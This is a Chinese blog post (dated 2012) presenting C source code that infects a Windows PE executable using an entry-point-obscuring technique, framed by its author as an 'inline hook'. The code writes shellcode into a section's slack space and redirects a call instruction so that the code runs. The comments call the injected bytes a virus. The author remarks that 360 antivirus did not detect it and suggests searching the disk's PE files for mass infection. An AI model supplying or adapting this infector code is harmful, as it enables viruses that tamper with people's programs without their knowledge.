C语言实现的 inline hook

这是看雪上的一篇文章。原题叫做C语言实现的EPO不过我觉得叫inline hook更合适。动手实践了一遍虽然中间有点小波折但是最终成功了。我作了更多的注释以便理解,尤其是

PE 的call jmp 特性开始不清楚导致没能明白跳转回原来的api的真实地址。希望对有兴趣的人有帮助。vc6.0完成后最好能动态调试一下,会有惊喜发现。main()函数找来找去我才找到的。

不只是什么原因360没报毒。

如果想进行大规模感染就对磁盘的pe文件进行搜索。但是值得注意的是如果感染了一个没有加载user32的pe文件,或者程序改变了该dll加载的默认地址将会产生错误暴露自己。

// EPO.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <ImageHlp.h>
char inffiname[]=".\\hello.exe";//要感染文件的名字
PIMAGE_DOS_HEADER PDH=NULL;
PIMAGE_NT_HEADERS PNH=NULL;
PIMAGE_SECTION_HEADER PSH=NULL;
unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"    //\x表示后面的数据将转换成16进制存储到字符串中
 "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
 "\x8d\x83\x30\x10\x40\x00\x50\x50"
 "\x6a\x00\xb8\x78\x56\x34\x12\xff"
 "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
 "\x00\x90\x72\x6f\x62\x69\x6e\x68"
 "\x30\x30\x64\x00" ;//要注入的内容
int _tmain(int argc, _TCHAR* argv[])
{
 HANDLE hfile;
 HANDLE hmap;
 LPVOID pmapview;
 DWORD gapsize;//借间隙的大小
 DWORD error;
 unsigned char * pnewentry;//病毒注入地址
 DWORD oldentry;//原程序入口地址
 PROC mymessagebox;//定义过程
 int x = 0x18 ;
 int sectionlen;
 unsigned char * psearch;
 DWORD *dwCallNextAddr ;
 DWORD *dwCallDataOffset ;
 DWORD *dwCallDataAddr ;
 DWORD dwCallData ;
 DWORD dwCodeDistance ;
 DWORD *dwJmpAddr ;
 DWORD dwJmpData ;
 DWORD dwJmpVA ;
 hfile=CreateFile(inffiname,FILE_ALL_ACCESS,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 if(!hfile)
 {
        printf("打开失败\n");
  return -1;
 }
 hmap=CreateFileMapping(hfile,NULL,PAGE_READWRITE,0,0,NULL);//readwrite所以上面的创建也是readwrite都允许
 if(!hmap)
 {
  printf("创建文件映射对象失败\n");
  return -1;
 }
 pmapview=MapViewOfFile
  (hmap,        // Handle to mapping object.
  FILE_MAP_ALL_ACCESS,               // Read/write permission
  0,                                 // Max. object size.
  0,                                 // Size of hFile.
  0);
 if(!pmapview)
 {
  printf("映射失败\n");
  return  -1;
 }
 PDH=(PIMAGE_DOS_HEADER)pmapview;
 if(PDH->e_magic==IMAGE_DOS_SIGNATURE)//check dos header
 {
  PNH=(PIMAGE_NT_HEADERS)(DWORD (pmapview)+PDH->e_lfanew);
  if(PNH->Signature=IMAGE_NT_SIGNATURE)//check pe header
  {
   PSH=(PIMAGE_SECTION_HEADER)(DWORD(PNH)+sizeof(IMAGE_NT_HEADERS));//定位到section table

  gapsize=PSH->SizeOfRawData-PSH->Misc.VirtualSize;
  if(sizeof(thunkcode)>gapsize)
  {
   printf("无法插入");
   return 0;
  }
  pnewentry=(unsigned char *)(DWORD(pmapview)+PSH->PointerToRawData+PSH->Misc.VirtualSize);
  oldentry=PNH->OptionalHeader.ImageBase+PNH->OptionalHeader.AddressOfEntryPoint;
  mymessagebox=(PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;
  for (int i=3;i>=0;i--)//修改病毒
  {
   thunkcode[i+27] = ((unsigned int)mymessagebox>>x)&0xff ;//&0xff就是转化成16进制数据api是一个8位的地址
   x -= 8 ;            //要将8为的地址mymessagebox两位一组存入thunkcode相应中
  }               //第一次循环不移位直接&0xff取出2位的数据接着循环3次全部取出
                 //在16进制数据中的地址数据是反向存储的
  x = 24 ;
   sectionlen = (int)PSH->Misc.VirtualSize ;

   psearch= (unsigned char *)(PSH->PointerToRawData+
    (DWORD)pmapview) ;

   //:::搜索call指令(0xe8)
   for (int i=0;i<sectionlen;i++)
   {


    if (psearch[i]==0xe8)
    {
     //:::call指令操作数地址
     dwCallDataAddr = (DWORD *)(&psearch[i]+1) ;
     //:::call下条指令地址
     dwCallNextAddr=(DWORD *)(&psearch[i]+5) ;
     //:::jmp指令地址//既call的地址
     dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
     //:::Jmp指令在内存的虚拟地址VA
     dwJmpVA = (DWORD)dwJmpAddr-
      ((DWORD)pmapview+PSH->PointerToRawData)+
      PNH->OptionalHeader.ImageBase+
      PNH->OptionalHeader.AddressOfEntryPoint ;
     //:::取jmp操作数,返回的时候使用
     dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;//看下面得反汇编代码
   /*
     000E040E    E8 07000000     call    000E041A   //call 后面得指令 其实是一个偏移函数真实的地址
     000E0413    6A 00           push    0     //而是一个jmp 指令到真实地址
     000E0415    E8 06000000     call    000E0420   //定位jmp的 方法 call后面的07+call的下一条指令地址
     000E041A    FF25 08204000   jmp     dword ptr [402008]  //call完成的工作包括push eip和jmp
     000E0420    FF25 00204000   jmp     dword ptr [402000]//
   */

 //call的形式有两种上面是一种

//还有这中  FF15 28504000 call    dword ptr [<&KERNEL32.GetVersion>;  kernel32.GetVersion

 //call 是FF15而不是 E8这种后面的操作数就是api地址

    // dwJmpData=*dwCallDataAddr;
     if ((*dwJmpAddr&0xffff)==0x25ff)
     {
      //:::修改call操作数
      dwCodeDistance = (DWORD)pnewentry - (DWORD)dwCallNextAddr ;
      *dwCallDataAddr = dwCodeDistance ;
      //:::原jmp里的操作数,替换到thunk code的末尾
      for (i=3;i>=0;i--)
      {
       thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
       x -= 8 ;
      }
      //把thunk code写入目标宿主程序
      for (i=0;i<sizeof(thunkcode);i++)
      {
       pnewentry[i] = thunkcode[i] ;
      }
      break ;
     }
    }
   }
  }
 }
 else
 {
  printf("Invalid file format!\n") ;
 }
 UnmapViewOfFile(pmapview) ;
 CloseHandle(hmap) ;
 CloseHandle(hfile) ;
 return 0;
}

 

posted @ 2012-07-20 09:36  麦小扣_刘  阅读(687)  评论(0编辑  收藏  举报